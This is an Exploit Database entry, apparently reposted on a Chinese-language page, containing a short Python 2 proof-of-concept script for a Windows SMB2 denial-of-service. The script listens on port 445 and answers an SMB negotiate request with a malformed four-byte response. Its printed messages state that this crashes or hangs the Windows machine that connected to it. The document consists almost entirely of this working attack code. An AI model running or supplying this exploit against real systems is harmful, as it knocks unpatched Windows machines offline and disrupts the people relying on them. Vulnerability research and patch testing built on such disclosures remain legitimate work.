Microsoft Windows – SMB2 Negotiate Protocol ‘0x72’ Response Denial of Service

• Exploit Database
• 13 阅读

• 作者： Jelmer de Hen
  日期： 2010-05-07
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/12524/

• #!/usr/bin/python
  
  # === EDIT – this exploit appears to be exactly the same one of one which was already found
  # and fixed notified by Laurent Gaffié, i did not know this but his blog post can be found here:
  # http://g-laurent.blogspot.com/2009/11/windows-7-server-2008r2-remote-kernel.html
  
  import socket,sys,time
  
  print "Maliformed negotiate protocol response and quickly closing the connection causes Windows machines supporting SMB2 to crash (leaves the system hanging and unresponsive) -- tested on Win 7 build 2600"
  print "Written by Jelmer de Hen"
  print "Published at http://h.ackack.net/?p=387"
  smb = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  smb.bind(("", 445))
  smb.listen(1)
  smbconn, addr = smb.accept()
  print "[+] "+str(addr)+" is trying to make connection to us over port 445"
  while 1:
  	new_packet = smbconn.recv(1024)
  	print "[+] Waiting for a negotiate request packet"
  	if new_packet[8]=="r":
  		print "[+] Received the negotiate request packet injecting the 4 bytes now..."
  		smbconn.send("\x00\x00\x00\x01")
  		break
  print "[+] Closing connection... This is part of the exploit"
  smbconn.close()
  print "[+] Done, if all went good then the box on the other side crashed"